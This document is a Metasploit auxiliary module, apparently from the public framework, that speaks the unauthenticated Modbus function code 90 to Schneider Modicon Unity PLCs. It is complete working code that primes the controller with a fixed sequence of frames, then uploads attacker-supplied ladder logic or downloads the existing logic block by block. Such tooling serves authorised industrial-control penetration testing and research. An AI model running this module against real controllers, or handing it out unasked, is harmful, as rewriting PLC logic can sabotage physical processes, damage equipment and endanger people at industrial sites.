Schneider Modicon Ladder Logic Upload/Download

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Rex::Socket::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Schneider Modicon Ladder Logic Upload/Download',
      'Description'    => %q{
        The Schneider Modicon with Unity series of PLCs use Modbus function
        code 90 (0x5a) to send and receive ladder logic.  The protocol is
        unauthenticated, and allows a rogue host to retrieve the existing
        logic and to upload new logic.

        Two modes are supported: "SEND" and "RECV," which behave as one might
        expect -- use 'set mode ACTIONAME' to use either mode of operation.

        In either mode, FILENAME must be set to a valid path to an existing
        file (for SENDing) or a new file (for RECVing), and the directory must
        already exist.  The default, 'modicon_ladder.apx' is a blank
        ladder logic file which can be used for testing.

        This module is based on the original 'modiconstux.rb' Basecamp module from
        DigitalBond.
      },
      'Author'         =>
        [
          'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
          'todb' # Metasploit fixups
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
        ],
      'DisclosureDate' => '2012-04-05'
      ))

    register_options(
      [
        OptString.new('FILENAME',
          [
            true,
            "The file to send or receive",
            File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")
          ]),
        OptEnum.new("MODE", [true, 'File transfer operation', "SEND",
          [
            "SEND",
            "RECV"
          ]
        ]),
        Opt::RPORT(502)
      ])

  end

  def run
    unless valid_filename?
      print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
      return nil
    end
    @modbuscounter = 0x0000 # used for modbus frames
    connect
    init
    case datastore['MODE']
    when "SEND"
      writefile
    when "RECV"
      readfile
    end
  end

  def valid_filename?
    if datastore['MODE'] == "SEND"
      File.readable? datastore['FILENAME']
    else
      File.writable?(File.split(datastore['FILENAME'])[0].to_s)
    end
  end

  # this is used for building a Modbus frame
  # just prepends the payload with a modbus header
  def makeframe(packetdata)
    if packetdata.size > 255
      print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
      return
    end
    payload = ""
    payload += [@modbuscounter].pack("n")
    payload += "\x00\x00\x00" #dunno what these are
    payload += [packetdata.size].pack("c") # size byte
    payload += packetdata
  end

  # a wrapper just to be sure we increment the counter
  def sendframe(payload)
    sock.put(payload)
    @modbuscounter += 1
    # TODO: Fix with sock.timed_read -- Should make it faster, just need a test.
    r = sock.recv(65535, 0.1)
    return r
  end

  # This function sends some initialization requests
  # required for priming the Quantum
  def init
    payload = "\x00\x5a\x00\x02"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x01\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x03\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x03\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x01\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x0a\x00"
    (0..0xf9).each { |x| payload += [x].pack("c") }
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
    payload += "USER-714E74F21B" # Yep, really
    #payload += "META-SPLOITMETA"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x12"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x12"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x02"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
    sendframe(makeframe(payload))
  end

  # Write the contents of local file filename to the target's filenumber
  # blank logic files will be available on the Digital Bond website
  def writefile
    print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
    blocksize = 244	# bytes per block in file transfer
    buf = File.binread(datastore['FILENAME'])
    fullblocks = buf.length / blocksize
    if fullblocks > 255
      print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
      return
    end
    lastblocksize = buf.length - (blocksize*fullblocks)
    fileblocks = fullblocks
    if lastblocksize != 0
      fileblocks += 1
    end
    filetype = buf[0..2]
    if filetype == "APX"
      filenum = "\x01"
    elsif filetype == "APB"
      filenum = "\x10"
    end
    payload = "\x00\x5a\x00\x03\x01"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x02"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x02"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x00\x02"
    sendframe(makeframe(payload))
    payload = "\x00\x5a\x01\x30\x00"
    payload += filenum
    response = sendframe(makeframe(payload))
    if response[8..9] == "\x01\xfe"
      print_status("#{rhost}:#{rport} - MODBUS - Write request success!  Writing file...")
    else
      print_error("#{rhost}:#{rport} - MODBUS - Write request error.  Aborting.")
      return
    end
    payload = "\x00\x5a\x01\x04"
    sendframe(makeframe(payload))
    block = 1
    block2status = 0 # block 2 must always be sent twice
    while block <= fullblocks
      payload = "\x00\x5a\x01\x31\x00"
      payload += filenum
      payload += [block].pack("c")
      payload += "\x00\xf4\x00"
      payload += buf[((block - 1) * 244)..((block * 244) - 1)]
      res = sendframe(makeframe(payload))
      vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
      if res[8..9] != "\x01\xfe"
        print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")
        return
      end
      # redo this iteration of the loop if we're on block 2
      if block2status == 0 and block == 2
        print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")
        block2status = 1
        redo
      end
      block += 1
    end
    if lastblocksize > 0
      payload = "\x00\x5a\x01\x31\x00"
      payload += filenum
      payload += [block].pack("c")
      payload += "\x00" + [lastblocksize].pack("c") + "\x00"
      payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)]
      vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
      res = sendframe(makeframe(payload))
      if res[8..9] != "\x01\xfe"
        print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
        return
      end
    end
    vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
    payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00"
    sendframe(makeframe(payload))
  end

  # Only reading the STL file is supported at the moment :(
  def readfile
    print_status "#{rhost}:#{rport} - MODBUS - Sending read request"
    file = File.open(datastore['FILENAME'], 'wb')
    payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"
    response = sendframe(makeframe(payload))
    print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")
    block = 1
    filedata = ""
    finished = false
    while !finished
      payload = "\x00\x5a\x01\x34\x00\x01"
      payload += [block].pack("c")
      payload += "\x00"
      response = sendframe(makeframe(payload))
      filedata += response[0xe..-1]
      vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..-1].inspect}"
      if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?
        finished = true
      else
        block += 1
      end
    end
    print_status("#{rhost}:#{rport} - MODBUS - Closing file")
    payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00"
    sendframe(makeframe(payload))
    file.print filedata
    file.close
  end

  def cleanup
    disconnect rescue nil
  end
end